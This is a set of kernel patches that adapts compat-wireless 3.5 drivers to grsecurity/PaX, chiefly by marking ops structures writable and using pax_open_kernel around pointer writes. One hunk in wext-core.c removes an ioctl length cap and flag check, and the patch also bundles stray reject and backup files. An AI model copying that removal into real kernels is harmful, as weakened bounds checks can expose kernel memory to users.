++		ACCESS_ONCE_RW(ads->ds_ctl3) = 0;
+ 	}
+ 
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ds_ctl0) = 0;
+-		ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-		ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++		ACCESS_ONCE_RW(ads->ds_ctl0) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++		ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 		return;
+ 	}
+ 
+@@ -242,7 +242,7 @@ ar9002_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i)
+ 		break;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -252,19 +252,19 @@ ar9002_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i)
+ 		| (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable :
+ 		   (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0));
+ 
+-	ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-	ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++	ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++	ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 
+ 	if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST)
+ 		return;
+ 
+-	ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+diff --git a/drivers/net/wireless/ath/ath9k/ar9003_mac.c b/drivers/net/wireless/ath/ath9k/ar9003_mac.c
+index a66a13b..0ef399e 100644
+--- a/drivers/net/wireless/ath/ath9k/ar9003_mac.c
++++ b/drivers/net/wireless/ath/ath9k/ar9003_mac.c
+@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i)
+ 	      (i->qcu << AR_TxQcuNum_S) | desc_len;
+ 
+ 	checksum += val;
+-	ACCESS_ONCE(ads->info) = val;
++	ACCESS_ONCE_RW(ads->info) = val;
+ 
+ 	checksum += i->link;
+-	ACCESS_ONCE(ads->link) = i->link;
++	ACCESS_ONCE_RW(ads->link) = i->link;
+ 
+ 	checksum += i->buf_addr[0];
+-	ACCESS_ONCE(ads->data0) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0];
+ 	checksum += i->buf_addr[1];
+-	ACCESS_ONCE(ads->data1) = i->buf_addr[1];
++	ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1];
+ 	checksum += i->buf_addr[2];
+-	ACCESS_ONCE(ads->data2) = i->buf_addr[2];
++	ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2];
+ 	checksum += i->buf_addr[3];
+-	ACCESS_ONCE(ads->data3) = i->buf_addr[3];
++	ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3];
+ 
+ 	checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl3) = val;
++	ACCESS_ONCE_RW(ads->ctl3) = val;
+ 	checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl5) = val;
++	ACCESS_ONCE_RW(ads->ctl5) = val;
+ 	checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl7) = val;
++	ACCESS_ONCE_RW(ads->ctl7) = val;
+ 	checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl9) = val;
++	ACCESS_ONCE_RW(ads->ctl9) = val;
+ 
+ 	checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff);
+-	ACCESS_ONCE(ads->ctl10) = checksum;
++	ACCESS_ONCE_RW(ads->ctl10) = checksum;
+ 
+ 	if (i->is_first || i->is_last) {
+-		ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ctl13) = 0;
+-		ACCESS_ONCE(ads->ctl14) = 0;
++		ACCESS_ONCE_RW(ads->ctl13) = 0;
++		ACCESS_ONCE_RW(ads->ctl14) = 0;
+ 	}
+ 
+ 	ads->ctl20 = 0;
+@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i)
+ 
+ 	ctl17 = SM(i->keytype, AR_EncrType);
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ctl11) = 0;
+-		ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
+-		ACCESS_ONCE(ads->ctl15) = 0;
+-		ACCESS_ONCE(ads->ctl16) = 0;
+-		ACCESS_ONCE(ads->ctl17) = ctl17;
+-		ACCESS_ONCE(ads->ctl18) = 0;
+-		ACCESS_ONCE(ads->ctl19) = 0;
++		ACCESS_ONCE_RW(ads->ctl11) = 0;
++		ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
++		ACCESS_ONCE_RW(ads->ctl15) = 0;
++		ACCESS_ONCE_RW(ads->ctl16) = 0;
++		ACCESS_ONCE_RW(ads->ctl17) = ctl17;
++		ACCESS_ONCE_RW(ads->ctl18) = 0;
++		ACCESS_ONCE_RW(ads->ctl19) = 0;
+ 		return;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i)
+ 	val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S;
+ 	ctl12 |= SM(val, AR_PAPRDChainMask);
+ 
+-	ACCESS_ONCE(ads->ctl12) = ctl12;
+-	ACCESS_ONCE(ads->ctl17) = ctl17;
++	ACCESS_ONCE_RW(ads->ctl12) = ctl12;
++	ACCESS_ONCE_RW(ads->ctl17) = ctl17;
+ 
+-	ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+ 		| SM(i->rtscts_rate, AR_RTSCTSRate);
+ 
+-	ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding;
++	ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding;
+ }
+ 
+ static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads)
+diff --git a/drivers/net/wireless/ath/ath9k/hw.h b/drivers/net/wireless/ath/ath9k/hw.h
+index e88f182..4e57f5d 100644
+--- a/drivers/net/wireless/ath/ath9k/hw.h
++++ b/drivers/net/wireless/ath/ath9k/hw.h
+@@ -614,7 +614,7 @@ struct ath_hw_private_ops {
+ 
+ 	/* ANI */
+ 	void (*ani_cache_ini_regs)(struct ath_hw *ah);
+-};
++} __no_const;
+ 
+ /**
+  * struct ath_hw_ops - callbacks used by hardware code and driver code
+@@ -644,7 +644,7 @@ struct ath_hw_ops {
+ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
+ 			struct ath_hw_antcomb_conf *antconf);
+ 
+-};
++} __no_const;
+ 
+ struct ath_nf_limits {
+ 	s16 max;
+@@ -664,7 +664,7 @@ enum ath_cal_list {
+ #define AH_FASTCC       0x4
+ 
+ struct ath_hw {
+-	struct ath_ops reg_ops;
++	ath_ops_no_const reg_ops;
+ 
+ 	struct ieee80211_hw *hw;
+ 	struct ath_common common;
+diff --git a/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h b/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
+index af00e2c..ab04d34 100644
+--- a/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
++++ b/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
+@@ -545,7 +545,7 @@ struct phy_func_ptr {
+ 	void (*carrsuppr)(struct brcms_phy *);
+ 	s32 (*rxsigpwr)(struct brcms_phy *, s32);
+ 	void (*detach)(struct brcms_phy *);
+-};
++} __no_const;
+ 
+ struct brcms_phy {
+ 	struct brcms_phy_pub pubpi_ro;
+diff --git a/drivers/net/wireless/iwlegacy/3945-mac.c b/drivers/net/wireless/iwlegacy/3945-mac.c
+index faec404..a5277f1 100644
+--- a/drivers/net/wireless/iwlegacy/3945-mac.c
++++ b/drivers/net/wireless/iwlegacy/3945-mac.c
+@@ -3611,7 +3611,9 @@ il3945_pci_probe(struct pci_dev *pdev, const struct pci_device_id *ent)
+ 	 */
+ 	if (il3945_mod_params.disable_hw_scan) {
+ 		D_INFO("Disabling hw_scan\n");
+-		il3945_mac_ops.hw_scan = NULL;
++		pax_open_kernel();
++		*(void **)&il3945_mac_ops.hw_scan = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	D_INFO("*** LOAD DRIVER ***\n");
+diff --git a/drivers/net/wireless/mac80211_hwsim.c b/drivers/net/wireless/mac80211_hwsim.c
+index b7ce6a6..5649756 100644
+--- a/drivers/net/wireless/mac80211_hwsim.c
++++ b/drivers/net/wireless/mac80211_hwsim.c
+@@ -1721,9 +1721,11 @@ static int __init init_mac80211_hwsim(void)
+ 		return -EINVAL;
+ 
+ 	if (fake_hw_scan) {
+-		mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
+-		mac80211_hwsim_ops.sw_scan_start = NULL;
+-		mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_open_kernel();
++		*(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
++		*(void **)&mac80211_hwsim_ops.sw_scan_start = NULL;
++		*(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	spin_lock_init(&hwsim_radio_lock);
+diff --git a/drivers/net/wireless/mwifiex/main.h b/drivers/net/wireless/mwifiex/main.h
+index 35225e9..95e6bf9 100644
+--- a/drivers/net/wireless/mwifiex/main.h
++++ b/drivers/net/wireless/mwifiex/main.h
+This needed some manual massage to work on compat-wireless
+@@ -567,7 +567,7 @@
+ 	int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *);
+-};
++} __no_const;
+ 
+ struct mwifiex_adapter {
+ 	u8 iface_type;
+diff --git a/drivers/net/wireless/rndis_wlan.c b/drivers/net/wireless/rndis_wlan.c
+index d66e298..55b0a89 100644
+--- a/drivers/net/wireless/rndis_wlan.c
++++ b/drivers/net/wireless/rndis_wlan.c
+@@ -1278,7 +1278,7 @@ static int set_rts_threshold(struct usbnet *usbdev, u32 rts_threshold)
+ 
+ 	netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold);
+ 
+-	if (rts_threshold < 0 || rts_threshold > 2347)
++	if (rts_threshold > 2347)
+ 		rts_threshold = 2347;
+ 
+ 	tmp = cpu_to_le32(rts_threshold);
+diff --git a/drivers/net/wireless/wl1251/wl1251.h b/drivers/net/wireless/wl1251/wl1251.h
+index 9d8f581..0f6589e 100644
+--- a/drivers/net/wireless/ti/wl1251/wl1251.h
++++ b/drivers/net/wireless/ti/wl1251/wl1251.h
+Special for compat-wireless: the module is in "ti" folder
+@@ -266,7 +266,7 @@ struct wl1251_if_operations {
+ 	void (*reset)(struct wl1251 *wl);
+ 	void (*enable_irq)(struct wl1251 *wl);
+ 	void (*disable_irq)(struct wl1251 *wl);
+-};
++} __no_const;
+ 
+ struct wl1251 {
+ 	struct ieee80211_hw *hw;
+diff --git a/net/wireless/core.h b/net/wireless/core.h
+index 3ac2dd0..fbe533e 100644
+--- a/net/wireless/core.h
++++ b/net/wireless/core.h
+@@ -27,7 +27,7 @@ struct cfg80211_registered_device {
+ 	struct mutex mtx;
+ 
+ 	/* rfkill support */
+-	struct rfkill_ops rfkill_ops;
++	rfkill_ops_no_const rfkill_ops;
+ 	struct rfkill *rfkill;
+ 	struct work_struct rfkill_sync;
+ 
+diff --git a/net/wireless/wext-core.c b/net/wireless/wext-core.c
+index af648e0..6185d3a 100644
+--- a/net/wireless/wext-core.c
++++ b/net/wireless/wext-core.c
+@@ -747,8 +747,7 @@ static int ioctl_standard_iw_point(struct iw_point *iwp, unsigned int cmd,
+ 		 */
+ 
+ 		/* Support for very large requests */
+-		if ((descr->flags & IW_DESCR_FLAG_NOMAX) &&
+-		    (user_length > descr->max_tokens)) {
++		if (user_length > descr->max_tokens) {
+ 			/* Allow userspace to GET more than max so
+ 			 * we can support any size GET requests.
+ 			 * There is still a limit : -ENOMEM.
+@@ -787,22 +786,6 @@ static int ioctl_standard_iw_point(struct iw_point *iwp, unsigned int cmd,
+ 		}
+ 	}
+ 
+-	if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) {
+-		/*
+-		 * If this is a GET, but not NOMAX, it means that the extra
+-		 * data is not bounded by userspace, but by max_tokens. Thus
+-		 * set the length to max_tokens. This matches the extra data
+-		 * allocation.
+-		 * The driver should fill it with the number of tokens it
+-		 * provided, and it may check iwp->length rather than having
+-		 * knowledge of max_tokens. If the driver doesn't change the
+-		 * iwp->length, this ioctl just copies back max_token tokens
+-		 * filled with zeroes. Hopefully the driver isn't claiming
+-		 * them to be valid data.
+-		 */
+-		iwp->length = descr->max_tokens;
+-	}
+-
+ 	err = handler(dev, info, (union iwreq_data *) iwp, extra);
+ 
+ 	iwp->length += essid_compat;
+--- a/drivers/net/ethernet/atheros/alx/alx_sw.h
++++ b/drivers/net/ethernet/atheros/alx/alx_sw.h
+Unsure about this, making alx_hw_callbacks writeable, is that SElinux conform?
+@@ -326,7 +326,7 @@
+ 
+ 	/* Others */
+ 	int (*get_ethtool_regs)(struct alx_hw *, void *);
+-};
++} __no_const;
+ 
+ struct alx_hw {
+ 	struct alx_adapter	*adpt;
\ No newline at end of file
diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec2.patch b/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec2.patch
new file mode 100644
index 00000000..b52cd6d6
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec2.patch
@@ -0,0 +1,33 @@
+--- drivers/net/wireless/ti/wl12xx/main.c
++++ drivers/net/wireless/ti/wl12xx/main.c
+Thanks to ryao for explaining the fix on ZFS!
+@@ -612,6 +612,10 @@
+ 	}
+ }
+ 
++static struct wlcore_ops wl127x_ops = {
++	.prepare_read = wl127x_prepare_read
++};
++
+ static int wl12xx_identify_chip(struct wl1271 *wl)
+ {
+ 	int ret = 0;
+@@ -631,7 +635,8 @@
+ 		       sizeof(wl->conf.mem));
+ 
+ 		/* read data preparation is only needed by wl127x */
+-		wl->ops->prepare_read = wl127x_prepare_read;
++		/* wl->ops->prepare_read = wl127x_prepare_read; */
++		wl->ops = &wl127x_ops;
+ 
+ 		break;
+ 
+@@ -650,7 +655,8 @@
+ 		       sizeof(wl->conf.mem));
+ 
+ 		/* read data preparation is only needed by wl127x */
+-		wl->ops->prepare_read = wl127x_prepare_read;
++		/* wl->ops->prepare_read = wl127x_prepare_read; */
++		wl->ops = &wl127x_ops;
+ 
+ 		break;
diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.5.4-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.5.4-grsec.patch
new file mode 100644
index 00000000..387f3c3c
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-wireless-3.5.4-grsec.patch
@@ -0,0 +1,9033 @@
+diff -rupN compat-wireless-3.5.4-1-snpc/Makefile.rej compat-wireless-3.5.4-1-snpc/Makefile.rej
+--- compat-wireless-3.5.4-1-snpc/Makefile.rej	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/Makefile.rej	2012-10-15 19:11:12.829824571 +0000
+@@ -0,0 +1,196 @@
++--- Makefile	2012-09-15 22:09:21.004897009 +0200
+++++ Makefile	2012-09-15 22:09:27.440902945 +0200
++@@ -241,8 +241,9 @@
++ 
++ HOSTCC       = gcc
++ HOSTCXX      = g++
++-HOSTCFLAGS   = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer
++-HOSTCXXFLAGS = -O2
+++HOSTCFLAGS   = -Wall -W -Wmissing-prototypes -Wstrict-prototypes -Wno-unused-parameter -Wno-missing-field-initializers -O2 -fomit-frame-pointer -fno-delete-null-pointer-checks
+++HOSTCLFAGS  += $(call cc-option, -Wno-empty-body)
+++HOSTCXXFLAGS = -O2 -Wall -W -fno-delete-null-pointer-checks
++ 
++ # Decide whether to build built-in, modular, or both.
++ # Normally, just do built-in.
++@@ -404,8 +405,8 @@
++ # Rules shared between *config targets and build targets
++ 
++ # Basic helpers built in scripts/
++-PHONY += scripts_basic
++-scripts_basic:
+++PHONY += scripts_basic gcc-plugins
+++scripts_basic: gcc-plugins
++ 	$(Q)$(MAKE) $(build)=scripts/basic
++ 	$(Q)rm -f .tmp_quiet_recordmcount
++ 
++@@ -561,6 +562,56 @@
++ KBUILD_CFLAGS	+= -O2
++ endif
++ 
+++PLUGINCC := $(shell $(CONFIG_SHELL) $(srctree)/scripts/gcc-plugin.sh "$(HOSTCC)" "$(HOSTCXX)" "$(CC)")
+++ifneq ($(PLUGINCC),)
+++ifdef CONFIG_PAX_CONSTIFY_PLUGIN
+++CONSTIFY_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/constify_plugin.so -DCONSTIFY_PLUGIN
+++endif
+++ifdef CONFIG_PAX_MEMORY_STACKLEAK
+++STACKLEAK_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/stackleak_plugin.so -DSTACKLEAK_PLUGIN
+++STACKLEAK_PLUGIN_CFLAGS += -fplugin-arg-stackleak_plugin-track-lowest-sp=100
+++endif
+++ifdef CONFIG_KALLOCSTAT_PLUGIN
+++KALLOCSTAT_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/kallocstat_plugin.so
+++endif
+++ifdef CONFIG_PAX_KERNEXEC_PLUGIN
+++KERNEXEC_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/kernexec_plugin.so
+++KERNEXEC_PLUGIN_CFLAGS += -fplugin-arg-kernexec_plugin-method=$(CONFIG_PAX_KERNEXEC_PLUGIN_METHOD) -DKERNEXEC_PLUGIN
+++KERNEXEC_PLUGIN_AFLAGS := -DKERNEXEC_PLUGIN
+++endif
+++ifdef CONFIG_CHECKER_PLUGIN
+++ifeq ($(call cc-ifversion, -ge, 0406, y), y)
+++CHECKER_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/checker_plugin.so -DCHECKER_PLUGIN
+++endif
+++endif
+++COLORIZE_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/colorize_plugin.so
+++ifdef CONFIG_PAX_SIZE_OVERFLOW
+++SIZE_OVERFLOW_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/size_overflow_plugin.so -DSIZE_OVERFLOW_PLUGIN
+++endif
+++ifdef CONFIG_PAX_LATENT_ENTROPY
+++LATENT_ENTROPY_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/latent_entropy_plugin.so -DLATENT_ENTROPY_PLUGIN
+++endif
+++GCC_PLUGINS_CFLAGS := $(CONSTIFY_PLUGIN_CFLAGS) $(STACKLEAK_PLUGIN_CFLAGS) $(KALLOCSTAT_PLUGIN_CFLAGS)
+++GCC_PLUGINS_CFLAGS += $(KERNEXEC_PLUGIN_CFLAGS) $(CHECKER_PLUGIN_CFLAGS) $(COLORIZE_PLUGIN_CFLAGS)
+++GCC_PLUGINS_CFLAGS += $(SIZE_OVERFLOW_PLUGIN_CFLAGS) $(LATENT_ENTROPY_PLUGIN_CFLAGS)
+++GCC_PLUGINS_AFLAGS := $(KERNEXEC_PLUGIN_AFLAGS)
+++export PLUGINCC GCC_PLUGINS_CFLAGS GCC_PLUGINS_AFLAGS CONSTIFY_PLUGIN
+++ifeq ($(KBUILD_EXTMOD),)
+++gcc-plugins:
+++	$(Q)$(MAKE) $(build)=tools/gcc
+++else
+++gcc-plugins: ;
+++endif
+++else
+++gcc-plugins:
+++ifeq ($(call cc-ifversion, -ge, 0405, y), y)
+++	$(Q)echo "warning, your gcc installation does not support plugins, perhaps the necessary headers are missing?"
+++else
+++	$(Q)echo "warning, your gcc version does not support plugins, you should upgrade it to gcc 4.5 at least"
+++endif
+++	$(Q)echo "PAX_MEMORY_STACKLEAK and other features will be less secure"
+++endif
+++
++ include $(srctree)/arch/$(SRCARCH)/Makefile
++ 
++ ifdef CONFIG_READABLE_ASM
++@@ -762,6 +813,8 @@
++ 
++ # The actual objects are generated when descending, 
++ # make sure no implicit rule kicks in
+++$(filter-out $(init-y),$(vmlinux-deps)): KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++$(filter-out $(init-y),$(vmlinux-deps)): KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
++ $(sort $(vmlinux-deps)): $(vmlinux-dirs) ;
++ 
++ # Handle descending into subdirectories listed in $(vmlinux-dirs)
++@@ -771,7 +824,7 @@
++ # Error messages still appears in the original language
++ 
++ PHONY += $(vmlinux-dirs)
++-$(vmlinux-dirs): prepare scripts
+++$(vmlinux-dirs): gcc-plugins prepare scripts
++ 	$(Q)$(MAKE) $(build)=$@
++ 
++ # Store (new) KERNELRELASE string in include/config/kernel.release
++@@ -815,6 +868,7 @@
++ 	$(Q)$(MAKE) $(build)=.
++ 
++ # All the preparing..
+++prepare: KBUILD_CFLAGS := $(filter-out $(GCC_PLUGINS_CFLAGS),$(KBUILD_CFLAGS))
++ prepare: prepare0
++ 
++ # Generate some files
++@@ -922,6 +976,8 @@
++ #	using awk while concatenating to the final file.
++ 
++ PHONY += modules
+++modules: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++modules: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
++ modules: $(vmlinux-dirs) $(if $(KBUILD_BUILTIN),vmlinux) modules.builtin
++ 	$(Q)$(AWK) '!x[$$0]++' $(vmlinux-dirs:%=$(objtree)/%/modules.order) > $(objtree)/modules.order
++ 	@$(kecho) '  Building modules, stage 2.';
++@@ -937,7 +993,7 @@
++ 
++ # Target to prepare building external modules
++ PHONY += modules_prepare
++-modules_prepare: prepare scripts
+++modules_prepare: gcc-plugins prepare scripts
++ 
++ # Target to install modules
++ PHONY += modules_install
++@@ -994,7 +1050,7 @@
++ MRPROPER_DIRS  += include/config usr/include include/generated          \
++                   arch/*/include/generated
++ MRPROPER_FILES += .config .config.old .version .old_version             \
++-                  include/linux/version.h                               \
+++                  include/linux/version.h tools/gcc/size_overflow_hash.h\
++ 		  Module.symvers tags TAGS cscope* GPATH GTAGS GRTAGS GSYMS
++ 
++ # clean - Delete most, but leave enough to build external modules
++@@ -1032,6 +1088,7 @@
++ 		\( -name '*.orig' -o -name '*.rej' -o -name '*~' \
++ 		-o -name '*.bak' -o -name '#*#' -o -name '.*.orig' \
++ 		-o -name '.*.rej' \
+++		-o -name '.*.rej' -o -name '*.so' \
++ 		-o -name '*%' -o -name '.*.cmd' -o -name 'core' \) \
++ 		-type f -print | xargs rm -f
++ 
++@@ -1192,6 +1249,8 @@
++ $(module-dirs): crmodverdir $(objtree)/Module.symvers
++ 	$(Q)$(MAKE) $(build)=$(patsubst _module_%,%,$@)
++ 
+++modules: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++modules: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
++ modules: $(module-dirs)
++ 	@$(kecho) '  Building modules, stage 2.';
++ 	$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modpost
++@@ -1326,17 +1385,21 @@
++         target-dir = $(if $(KBUILD_EXTMOD),$(dir $<),$(dir $@))
++ endif
++ 
++-%.s: %.c prepare scripts FORCE
+++%.s: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++%.s: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
+++%.s: %.c gcc-plugins prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++ %.i: %.c prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++-%.o: %.c prepare scripts FORCE
+++%.o: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++%.o: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
+++%.o: %.c gcc-plugins prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++ %.lst: %.c prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++-%.s: %.S prepare scripts FORCE
+++%.s: %.S gcc-plugins prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++-%.o: %.S prepare scripts FORCE
+++%.o: %.S gcc-plugins prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++ %.symtypes: %.c prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++@@ -1346,11 +1409,15 @@
++ 	$(cmd_crmodverdir)
++ 	$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \
++ 	$(build)=$(build-dir)
++-%/: prepare scripts FORCE
+++%/: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++%/: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
+++%/: gcc-plugins prepare scripts FORCE
++ 	$(cmd_crmodverdir)
++ 	$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \
++ 	$(build)=$(build-dir)
++-%.ko: prepare scripts FORCE
+++%.ko: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++%.ko: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
+++%.ko: gcc-plugins prepare scripts FORCE
++ 	$(cmd_crmodverdir)
++ 	$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1)   \
++ 	$(build)=$(build-dir) $(@:.ko=.o)
+diff -rupN compat-wireless-3.5.4-1-snpc/Makefile.~1~ compat-wireless-3.5.4-1-snpc/Makefile.~1~
+--- compat-wireless-3.5.4-1-snpc/Makefile.~1~	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/Makefile.~1~	2012-10-15 19:11:12.829824571 +0000
+@@ -0,0 +1,256 @@
++#
++# Copyright (c) 2007-2012 Luis R. Rodriguez <mcgrof@frijolero.org>
++#
++# Permission to use, copy, modify, and/or distribute this software for any
++# purpose with or without fee is hereby granted, provided that the above
++# copyright notice and this permission notice appear in all copies.
++#
++# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
